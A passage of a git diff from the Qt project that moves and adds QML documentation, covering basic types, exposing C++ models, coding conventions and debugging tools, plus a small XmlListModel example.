POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtQuick.XmlListModel 2.0 + +Rectangle { + width: 300; height: 200 + +//![0] +XmlListModel { + id: model +//![0] + source: "xmlrole.xml" + +//![1] + // XmlRole queries will be made on <book> elements + query: "/catalogue/book" + + // query the book title + XmlRole { name: "title"; query: "title/string()" } + + // query the book's year + XmlRole { name: "year"; query: "year/number()" } + + // query the book's type (the '@' indicates 'type' is an attribute, not an element) + XmlRole { name: "type"; query: "@type/string()" } + + // query the book's first listed author (note in XPath the first index is 1, not 0) + XmlRole { name: "first_author"; query: "author[1]/string()" } +} +//![1] + +ListView { + width: 300; height: 200 + model: model + delegate: Column { + Text { text: title + " (" + type + ")"; font.bold: true } + Text { text: first_author } + Text { text: year } + } +} + +} diff --git a/doc/src/snippets/qtjavascript/evaluation/main.cpp b/src/qml/doc/snippets/qtjavascript/evaluation/main.cpp index 3d3e3bfda2..3d3e3bfda2 100644 --- a/doc/src/snippets/qtjavascript/evaluation/main.cpp +++ b/src/qml/doc/snippets/qtjavascript/evaluation/main.cpp diff --git a/doc/src/snippets/qtjavascript/registeringobjects/main.cpp b/src/qml/doc/snippets/qtjavascript/registeringobjects/main.cpp index f34c1061fe..f34c1061fe 100644 --- a/doc/src/snippets/qtjavascript/registeringobjects/main.cpp +++ b/src/qml/doc/snippets/qtjavascript/registeringobjects/main.cpp diff --git a/doc/src/snippets/qtjavascript/registeringvalues/main.cpp b/src/qml/doc/snippets/qtjavascript/registeringvalues/main.cpp index f168f4f554..f168f4f554 100644 --- a/doc/src/snippets/qtjavascript/registeringvalues/main.cpp +++ b/src/qml/doc/snippets/qtjavascript/registeringvalues/main.cpp diff --git a/src/qml/doc/src/basictypes.qdoc b/src/qml/doc/src/basictypes.qdoc new file mode 100644 index 0000000000..c3ce47a226 --- /dev/null +++ b/src/qml/doc/src/basictypes.qdoc @@ -0,0 +1,678 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page qml-basictypes.html + \ingroup qml-features + \title QML Basic Types + \brief basic data types in QML + + QML has a set of primitive types, as listed below, that are used throughout + the \l {QML Elements}. + + \annotatedlist qmlbasictypes + + To create additional types, such as data types created in C++, read the + \l{Creating QML Types} article. +*/ + +/*! + \qmlbasictype int + \ingroup qmlbasictypes + + \brief An integer is a whole number, e.g. 0, 10, or -20. + + An integer is a whole number, e.g. 0, 10, or -20. The possible \c + int values range from around -2000000000 to around 2000000000, + although most elements will only accept a reduced range (which they + mention in their documentation). + + Example: + \qml + Item { width: 100; height: 200 } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype bool + \ingroup qmlbasictypes + + \brief A boolean is a binary true/false value. + + A boolean is a binary true/false value. + + Example: + \qml + Item { focus: true; clip: false } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype real + \ingroup qmlbasictypes + + \brief A real number has a decimal point, e.g. 1.2 or -29.8. + + A real number has a decimal point, e.g. 1.2 or -29.8. + + Example: + \qml + Item { width: 100.45; height: 150.82 } + \endqml + + \b{Note:} In QML all reals are stored in double precision, \l + {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} + format. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype double + \ingroup qmlbasictypes + + \brief A double number has a decimal point and is stored in double precision. + + A double number has a decimal point and is stored in double precision, \l + {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} + format. + + Example: + \qml + Item { + property double number: 32155.2355 + } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype string + \ingroup qmlbasictypes + + \brief A string is a free form text in quotes, e.g. "Hello world!". + + A string is a free form text in quotes, e.g. "Hello world!". + + Example: + \qml + Text { text: "Hello world!" } + \endqml + + Strings have a \c length attribute that holds the number of + characters in the string. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype url + \ingroup qmlbasictypes + + \brief A URL is a resource locator, like a file name. + + A URL is a resource locator, like a file name. It can be either + absolute, e.g. "http://qt.nokia.com", or relative, e.g. + "pics/logo.png". A relative URL is resolved relative to the URL of + the component where the URL is converted from a JavaScript string + expression to a url property value. + + Example: + \qml + Image { source: "pics/logo.png" } + \endqml + + Note that as QML requires URL paths, you should use "qrc:///" instead of ":/" for + referring to files stored with the \l{resources.html}{Qt Resource System}. + Usually you will only have to do this once, because relative URLs resolved from + that file will use the same protocol. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype color + \ingroup qmlbasictypes + + \brief A color is a standard color name in quotes. + + A color is a standard color name in quotes. It is normally specified + as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG + color name}. These names include colors like "red", "green" and + "lightsteelblue". + + If the color you want isn't part of this list, colors can also be + specified in hexidecimal triplets or quads that take the form \c + "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color + red corresponds to a triplet of \c "#FF0000" and a slightly + transparent blue to a quad of \c "#800000FF". + + Example: + \div{float-right} + \inlineimage declarative-colors.png + \enddiv + \snippet doc/snippets/qml/colors.qml colors + + Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, + \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: + + \qml + Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype point + \ingroup qmlbasictypes + + \brief A point type has x and y attributes. + + A \c point type has \c x and \c y attributes. + + To create a \c point value, specify it as a "x,y" string: + + \qml + CustomObject { myPointProperty: "0,20" } + \endqml + + Or use the \l{QML:Qt::point()}{Qt.point()} function: + + \qml + CustomObject { myPointProperty: Qt.point(0, 20) } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype size + \ingroup qmlbasictypes + + \brief A size type has width and height attributes + + A \c size type has \c width and \c height attributes. + + For example, to read the \l {Image::sourceSize} \c size property: + + \qml + Column { + Image { id: image; source: "logo.png" } + Text { text: image.sourceSize.width + "," + image.sourceSize.height } + } + \endqml + + To create a \c size value, specify it as a "width x height" string: + + \qml + LayoutItem { preferredSize: "150x50" } + \endqml + + Or use the \l{QML:Qt::size()}{Qt.size()} function: + + \qml + LayoutItem { preferredSize: Qt.size(150, 50) } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype rect + \ingroup qmlbasictypes + + \brief A rect type has x, y, width and height attributes. + + A \c rect type has \c x, \c y, \c width and \c height attributes. + + For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property: + \qml + Rectangle { + width: childrenRect.width + height: childrenRect.height + + Rectangle { width: 100; height: 100 } + } + \endqml + + To create a \c rect value, specify it as a "x, y, width x height" string: + + \qml + CustomObject { myRectProperty: "50,50,100x100" } + \endqml + + Or use the \l{QML:Qt::rect()}{Qt.rect()} function: + + \qml + CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype date + \ingroup qmlbasictypes + + \brief A date is specified as "YYYY-MM-DD". + + To create a \c date value, specify it as a "YYYY-MM-DD" string: + + Example: + \qml + MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } + \endqml + + To read a date value returned from a C++ extension class, use + \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype time + \ingroup qmlbasictypes + + \brief A time is specified as "hh:mm:ss". + + A time is specified as "hh:mm:ss". + + Example: + \qml + MyTimePicker { time: "14:22:15" } + \endqml + + To read a time value returned from a C++ extension class, use + \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + + Note that when converting historical times to and from javascript that QDateTime and the JS Date object + have different methods of calculating historical daylight savings time application. This can lead to variations of one hour + when converting to historical local time. + + \sa {QML Basic Types} + */ + +/*! + \qmlbasictype font + \ingroup qmlbasictypes + + \brief A font type has the properties of a QFont. + + A font type has the properties of a QFont. The properties are: + + \list + \li \c string font.family + \li \c bool font.bold + \li \c bool font.italic + \li \c bool font.underline + \li \c real font.pointSize + \li \c int font.pixelSize + \endlist + + Example: + \qml + Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype action + \ingroup qmlbasictypes + + \brief The action type has all the properties of QAction. + + The action type has all the properties of QAction. The properties + are: + + \list + \li \c slot action.trigger - invoke the action + \li \c bool action.enabled - true if the action is enabled + \li \c string action.text - the text associated with the action + \endlist + + Actions are used like this: + + \qml + Item { + MouseArea { onClicked: myaction.trigger() } + State { name: "enabled"; when: myaction.enabled == true } + Text { text: someaction.text } + } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype list + \ingroup qmlbasictypes + + \brief A list of objects. + + A list type contains a list of objects. While not technically + a basic type, QML supports lists of object types. When used + from QML, the engine automatically appends each value to the list. + Items in the list can be accessed by index using the usual + \c listName[index] syntax. + + For example, the \l Item class contains a list property named + children that can be used like this: + + \qml + Item { + children: [ + Item { id: child1 }, + Rectangle { id: child2; width: 200 }, + Text { id: child3 } + ] + + Component.onCompleted: { + console.log("Width of child rectangle:", children[1].width) + } + } + \endqml + \c child1, \c child2 and \c child3 will be added to the children list + in the order in which they appear. + + List \l {Property Binding}{properties} can be created as a + \c variant type, or as a \c list<Type> type, where \c Type is the + type of the object in the list: + + \qml + Item { + property list<Rectangle> rects: [ + Rectangle { width: 100; height: 100}, + Rectangle { width: 200; height: 200} + ] + } + \endqml + + A list property can only contain values that match (or are derived from) the + specified \c Type. + + While the \c rects property can be reassigned to a different list value (including + an empty list), its individual values cannot be modified. See the \l variant type + documentation for details. + + \sa {QML Basic Types} +*/ + + /*! + \qmlbasictype var + \ingroup qmlbasictypes + + \brief A var type is a generic property type. + + A var is a generic property type capable of storing any data type. + It is equivalent to a regular JavaScript variable. + For example, var properties can store numbers, strings, objects, + arrays and functions: + + \qml + Item { + property var aNumber: 100 + property var aBool: false + property var aString: "Hello world!" + property var anotherString: String("#FF008800") + property var aColor: Qt.rgba(0.2, 0.3, 0.4, 0.5) + property var aRect: Qt.rect(10, 10, 10, 10) + property var aPoint: Qt.point(10, 10) + property var aSize: Qt.size(10, 10) + property var aVector3d: Qt.vector3d(100, 100, 100) + property var anArray: [1, 2, 3, "four", "five", (function() { return "six"; })] + property var anObject: { "foo": 10, "bar": 20 } + property var aFunction: (function() { return "one"; }) + } + \endqml + + It is important to note that changes in regular properties of JavaScript + objects assigned to a var property will \b{not} trigger updates of bindings + that access them. The example below will display "The car has 4 wheels" as + the change to the wheels property will not cause the reevaluation of the + binding assigned to the "text" property: + + \qml + Item { + property var car: new Object({wheels: 4}) + + Text { + text: "The car has " + car.wheels + " wheels"; + } + + Component.onCompleted: { + car.wheels = 6; + } + } + \endqml + + If the onCompleted handler instead had \tt{"car = new Object({wheels: 6})"} + then the text would be updated to say "The car has 6 wheels"., since the + car property itself would be changed, which causes a change notification + to be emitted. + + A \c var type property can also hold an image or pixmap. + A \c var which contains a QPixmap or QImage is known as a + "scarce resource" and the declarative engine will attempt to + automatically release such resources after evaluation of any JavaScript + expression which requires one to be copied has completed. + + Clients may explicitly release such a scarce resource by calling the + "destroy" method on the \c var property from within JavaScript. They + may also explicitly preserve the scarce resource by calling the + "preserve" method on the \c var property from within JavaScript. + For more information regarding the usage of a scarce resource, please + see \l{Scarce Resources in JavaScript}. + + \sa {QML Basic Types} +*/ + + +/*! + \obsolete + \qmlbasictype variant + \ingroup qmlbasictypes + + \brief A variant type is a generic property type. + + A variant is a generic property type. It is obsolete and exists only to + support old applications; new applications should use "var" type + properties instead. + + A variant type property can hold any of the \l {QML Basic Types}{basic type} + values: + + \qml + Item { + property variant aNumber: 100 + property variant aString: "Hello world!" + property variant aBool: false + } + \endqml + + A \c variant type property can also hold an image or pixmap. + A \c variant which contains a QPixmap or QImage is known as a + "scarce resource" and the declarative engine will attempt to + automatically release such resources after evaluation of any JavaScript + expression which requires one to be copied has completed. + + Clients may explicitly release such a scarce resource by calling the + "destroy" method on the \c variant property from within JavaScript. They + may also explicitly preserve the scarce resource by calling the + "preserve" method on the \c variant property from within JavaScript. + For more information regarding the usage of a scarce resource, please + see \l{Scarce Resources in JavaScript}. + + Finally, the \c variant type can also hold: + + \list + \li An array of \l {QML Basic Types}{basic type} values + \li A map of key-value pairs with \l {QML Basic Types}{basic-type} values + \endlist + + For example, below is an \c items array and an \c attributes map. Their + contents can be examined using JavaScript \c for loops. Individual array + values are accessible by index, and individual map values are accessible + by key: + + \qml + Item { + property variant items: [1, 2, 3, "four", "five"] + property variant attributes: { 'color': 'red', 'width': 100 } + + Component.onCompleted: { + for (var i=0; i<items.length; i++) + console.log(items[i]) + + for (var prop in attributes) + console.log(prop, "=", attributes[prop]) + } + } + \endqml + + While this is a convenient way to store array and map-type values, you + must be aware that the \c items and \c attributes properties above are \e not + QML objects (and certainly not JavaScript object either) and the key-value + pairs in \c attributes are \e not QML properties. Rather, the \c items + property holds an array of values, and \c attributes holds a set of key-value + pairs. Since they are stored as a set of values, instead of as an object, + their contents \e cannot be modified individually: + + \qml + Item { + property variant items: [1, 2, 3, "four", "five"] + property variant attributes: { 'color': 'red', 'width': 100 } + + Component.onCompleted: { + items[0] = 10 + console.log(items[0]) // This will still be '1'! + attributes.color = 'blue' + console.log(attributes.color) // This will still be 'red'! + } + } + \endqml + + Additionally, since \c items and \c attributes are not QML objects, changing + their individual values do not trigger property change notifications. If + the above example had \c onNumberChanged or \c onAnimalChanged signal + handlers, they would not have been called. If, however, the \c items or + \c attributes properties themselves were reassigned to different values, then + such handlers would be called. + + One way to "update" the contents of an array or map is to copy the property + to a JavaScript object, modify the copy as desired, and then reassign the + property to the updated copy. Note, however, that this is not efficient. + In the example below, which reassigns the \c attributes property, the \e entire + set of key-value pairs must be serialized and deserialized every time it is + copied between a JavaScript object and a QML property: + + \qml + Item { + property variant attributes: { 'color': 'red', 'width': 100 } + + Component.onCompleted: { + // Change the value of attributes.color to 'blue': + var temp = attributes // copy all values to 'temp' + temp.color = 'blue' + attributes = temp // copy all values back to 'attributes' + } + } + \endqml + + Since this operation is inefficient, if a list or map should be modifiable, + it is better to use alternative approaches. For example, you could implement + a custom C++ list element, or write to a JavaScript object defined from + within a JavaScript file. + + JavaScript programmers should also note that when a JavaScript object is + copied to an array or map property, the \e contents of the object (that is, + its key-value properties) are copied, rather than the object itself. The + property does not hold a reference to the original JavaScript object, and + extra data such as the object's JavaScript prototype chain is also lost in + the process. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype vector3d + \ingroup qmlbasictypes + + \brief A vector3d type has x, y, and z attributes. + + A \c vector3d type has \c x, \c y, and \c z attributes. + + To create a \c vector3d value, specify it as a "x,y,z" string: + + \qml + Rotation { angle: 60; axis: "0,1,0" } + \endqml + + or with the \l{QML:Qt::vector3d()}{Qt.vector3d()} function: + + \qml + Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) } + \endqml + + or as separate \c x, \c y, and \c z components: + + \qml + Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype enumeration + \ingroup qmlbasictypes + + \brief An enumeration type consists of a set of named values. + + An enumeration type consists of a set of named values. + + An enumeration value may be specified as either a string: + \qml + Text { horizontalAlignment: "AlignRight" } + \endqml + + or as \c {<Element>.<value>}: + \qml + Text { horizontalAlignment: Text.AlignRight } + \endqml + + The second form is preferred. + + \sa {QML Basic Types} +*/ diff --git a/src/qml/doc/src/c++models.qdoc b/src/qml/doc/src/c++models.qdoc new file mode 100644 index 0000000000..e2f2f32b5c --- /dev/null +++ b/src/qml/doc/src/c++models.qdoc @@ -0,0 +1,208 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qml-c++models.qdoc +\title Exposing C++ Models +\brief exposing Qt C++ models to the runtime + +Models can be defined in C++ and then made available to QML. This is useful +for exposing existing C++ data models or otherwise complex datasets to QML. + +A C++ model class can be defined as a \l QStringList, a \l QList<QObject*> or a +\l QAbstractItemModel. The first two are useful for exposing simpler datasets, +while QAbstractItemModel provides a more flexible solution for more complex +models. + + +\section1 QStringList-based Model + + A model may be a simple \l QStringList, which provides the contents of the list + via the \e modelData role. + + Here is a ListView with a delegate that references its model item's + value using the \c modelData role: + + \snippet examples/declarative/modelviews/stringlistmodel/view.qml 0 + + A Qt application can load this QML document and set the value of \c myModel + to a QStringList: + + \snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0 + + The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory. + + \b{Note:} There is no way for the view to know that the contents of a QStringList + have changed. If the QStringList changes, it will be necessary to reset + the model by calling QQmlContext::setContextProperty() again. + + +\section1 QObjectList-based model + + A list of QObject* values can also be used as a model. A QList<QObject*> provides + the properties of the objects in the list as roles. + + The following application creates a \c DataObject class that with + Q_PROPERTY values that will be accessible as named roles when a + QList<DataObject*> is exposed to QML: + + \snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0 + \dots 4 + \snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1 + \codeline + \snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0 + \dots + + The QObject* is available as the \c modelData property. As a convenience, + the properties of the object are also made available directly in the + delegate's context. Here, \c view.qml references the \c DataModel properties in + the ListView delegate: + + \snippet examples/declarative/modelviews/objectlistmodel/view.qml 0 + + Note the use of the fully qualified access to the \c color property. + The properties of the object are not replicated in the \c model + object, since they are easily available via the \c modelData + object. + + The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory. + + Note: There is no way for the view to know that the contents of a QList + have changed. If the QList changes, it will be necessary to reset + the model by calling QQmlContext::setContextProperty() again. + + +\section1 QAbstractItemModel + + A model can be defined by subclassing QAbstractItemModel. This is the + best approach if you have a more complex model that cannot be supported + by the other approaches. A QAbstractItemModel can also automatically + notify a QML view when the model data has changed. + + The roles of a QAbstractItemModel subclass can be exposed to QML by calling + QAbstractItemModel::setRoleNames(). The default role names set by Qt are: + + \table + \header + \li Qt Role + \li QML Role Name + \row + \li Qt::DisplayRole + \li display + \row + \li Qt::DecorationRole + \li decoration + \endtable + + Here is an application with a QAbstractListModel subclass named \c AnimalModel + that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the + role names for accessing the properties via QML: + + \snippet examples/declarative/modelviews/abstractitemmodel/model.h 0 + \dots + \snippet examples/declarative/modelviews/abstractitemmodel/model.h 1 + \dots + \snippet examples/declarative/modelviews/abstractitemmodel/model.h 2 + \codeline + \snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0 + \codeline + \snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0 + \dots + + This model is displayed by a ListView delegate that accesses the \e type and \e size + roles: + + \snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0 + + QML views are automatically updated when the model changes. Remember the model + must follow the standard rules for model changes and notify the view when + the model has changed by using QAbstractItemModel::dataChanged(), + QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for + more information. + + The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory. + + QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML + can only display list data. + In order to display child lists of a hierarchical model + the VisualDataModel element provides several properties and functions for use + with models of type QAbstractItemModel: + + \list + \li \e hasModelChildren role property to determine whether a node has child nodes. + \li \l VisualDataModel::rootIndex allows the root node to be specified + \li \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex + \li \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex + \endlist + +\section1 Exposing C++ Data Models to QML + +The above examples use QQmlContext::setContextProperty() to set +model values directly in QML components. An alternative to this is to +register the C++ model class as a QML type from a QML C++ plugin using +QQmlExtensionPlugin. This would allow the model classes to be +created directly as elements within QML: + +\table +\row + +\li +\code +class MyModelPlugin : public QQmlExtensionPlugin +{ +public: + void registerTypes(const char *uri) + { + qmlRegisterType<MyModel>(uri, 1, 0, + "MyModel"); + } +} + +Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); +\endcode + +\li +\qml +MyModel { + id: myModel + ListElement { someProperty: "some value" } +} +\endqml + +\qml +ListView { + width: 200; height: 250 + model: myModel + delegate: Text { text: someProperty } +} +\endqml + +\endtable + +See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++ +plugins. + +*/ diff --git a/src/qml/doc/src/codingconventions.qdoc b/src/qml/doc/src/codingconventions.qdoc new file mode 100644 index 0000000000..04af57012a --- /dev/null +++ b/src/qml/doc/src/codingconventions.qdoc @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-coding-conventions.html +\title QML Coding Conventions +\brief code style convention + +This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. + +\section1 QML Objects + +Through our documentation and examples, QML objects are always structured in the following order: + +\list +\li id +\li property declarations +\li signal declarations +\li JavaScript functions +\li object properties +\li child objects +\li states +\li transitions +\endlist + +For better readability, we separate these different parts with an empty line. + + +For example, a hypothetical \e photo QML object would look like this: + +\snippet doc/snippets/qml/codingconventions/photo.qml 0 + + +\section1 Grouped Properties + +If using multiple properties from a group of properties, +we use the \e {group notation} rather than the \e {dot notation} to improve readability. + +For example, this: + +\snippet doc/snippets/qml/codingconventions/dotproperties.qml 0 + +can be written like this: + +\snippet doc/snippets/qml/codingconventions/dotproperties.qml 1 + + +\section1 Private Properties + +QML and JavaScript do not enforce private properties like C++. There is a need +to hide these private properties, for example, when the properties are part of +the implementation. As a convention, private properties begin with two +\e underscore characters. For example, \c __area, is a property that is +accessible but is not meant for public use. Note that QML and JavaScript will +grant the user access to these properties. + +\snippet doc/snippets/qml/codingconventions/private.qml 0 + + +\section1 Lists + +If a list contains only one element, we generally omit the square brackets. + +For example, it is very common for a component to only have one state. + +In this case, instead of: + +\snippet doc/snippets/qml/codingconventions/lists.qml 0 + +we will write this: + +\snippet doc/snippets/qml/codingconventions/lists.qml 1 + + +\section1 JavaScript Code + +If the script is a single expression, we recommend writing it inline: + +\snippet doc/snippets/qml/codingconventions/javascript.qml 0 + +If the script is only a couple of lines long, we generally use a block: + +\snippet doc/snippets/qml/codingconventions/javascript.qml 1 + +If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: + +\snippet doc/snippets/qml/codingconventions/javascript.qml 2 + +For long scripts, we will put the functions in their own JavaScript file and import it like this: + +\snippet doc/snippets/qml/codingconventions/javascript-imports.qml 0 + +*/ + + + + + + + + + diff --git a/src/qml/doc/src/debugging.qdoc b/src/qml/doc/src/debugging.qdoc new file mode 100644 index 0000000000..462b2feb4c --- /dev/null +++ b/src/qml/doc/src/debugging.qdoc @@ -0,0 +1,166 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-debugging.html +\ingroup qtquick-tools +\title Debugging QML +\brief debugging tools in QML + +\section1 Console API + +\section2 Log + +\c console.log, console.debug, console.info, console.warn and console.error can be used to print +debugging information to the console. For example: + +\code +function f(a, b) { + console.log("a is ", a, "b is ", b); +} +\endcode + +The output is generated using the qDebug, qWarning, qCritical methods in C++ +(see also http://doc.qt.nokia.com/latest/debug.html#warning-and-debugging-messages). + +Setting the environment variable QML_CONSOLE_EXTENDED also prints the source +code location of the call. + +\section2 Assert + +\c console.assert tests that an expression is true. If not, it will write an optional message +to the console and print the stack trace. + +\qml +function f() { + var x = 12 + console.assert(x == 12, "This will pass"); + console.assert(x > 12, "This will fail"); +} +\endqml + +\section2 Timer + +\c console.time and console.timeEnd log the time (in milliseconds) that was spent between +the calls. Both take a string argument that identifies the measurement. For example: + +\code +function f() { + console.time("wholeFunction"); + console.time("firstPart"); + // first part + console.timeEnd("firstPart"); + // second part + console.timeEnd("wholeFunction"); +} +\endcode + +\section2 Trace + +\c console.trace prints the stack trace of JavaScript execution at the point where +it was called. The stack trace info contains function name, file name, line number +and column number. The stack trace is limited to last 10 stack frames. + +\section2 Count + +\c console.count prints the current number of times a particular piece of code has been executed, +along with a message. That is, + +\qml +function f() { + console.count("f called"); +} +\endqml + +will print \c{f called: 1}, \c{f called: 2} ... whenever \c{f()} is executed. + +\section2 Profile + +\c console.profile turns on the QML and JavaScript profilers. Nested calls are not +supported and a warning will be printed to the console. + +\c console.profileEnd turns off the QML and JavaScript profilers. Calling this function +without a previous call to console.profile will print a warning to the console. A +profiling client should have been attached before this call to receive and store the +profiling data. For example: + +\code +function f() { + console.profile(); + //Call some function that needs to be profiled. + //Ensure that a client is attached before ending + //the profiling session. + console.profileEnd(); +} +\endcode + +\section2 Exception + +\c console.exception prints an error message together with the stack trace of JavaScript +execution at the point where it is called. + +\section1 Debugging Transitions + +When a transition doesn't look quite right, it can be helpful to view it in slow +motion to see what is happening more clearly. This functionality is supported +in the \l {QML Viewer} tool: to enable this, +click on the "Debugging" menu, then "Slow Down Animations". + + +\section1 Debugging module imports + +The \c QML_IMPORT_TRACE environment variable can be set to enable debug output +from QML's import loading mechanisms. + +For example, for a simple QML file like this: + +\qml +import QtQuick 2.0 + +Rectangle { width: 100; height: 100 } +\endqml + +If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer} +(or your QML C++ application), you will see output similar to this: + +\code +QQmlImportDatabase::addImportPath "/qt-sdk/imports" +QQmlImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS" +QQmlImportDatabase::addToImport 0x106237370 "." -1.-1 File as "" +QQmlImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as "" +QQmlImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle" +\endcode + + +\section1 Debugging with Qt Creator + +\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in +support for QML debugging. QML projects and standalone C++ applications that +utilize QML can be debugged on desktops as well as on remote devices. +For more information, see the Qt Creator Manual. + +*/ diff --git a/src/qml/doc/src/dynamicobjects.qdoc b/src/qml/doc/src/dynamicobjects.qdoc new file mode 100644 index 0000000000..6437ced886 --- /dev/null +++ b/src/qml/doc/src/dynamicobjects.qdoc @@ -0,0 +1,214 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-dynamicobjects.html +\ingroup qml-features +\title Dynamic Object Management in QML +\brief instantiating and managing QML objects + +QML provides a number of ways to dynamically create and manage QML objects. +The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements +all support dynamic object management. Objects can also be created and managed +from C++, and this is the preferred method for hybrid QML/C++ applications +(see \l{Using QML Bindings in C++ Applications}). + +QML also supports the dynamic creation of objects from within JavaScript +code. This is useful if the existing QML elements do not fit the needs of your +application, and there are no C++ components involved. + +See the \l 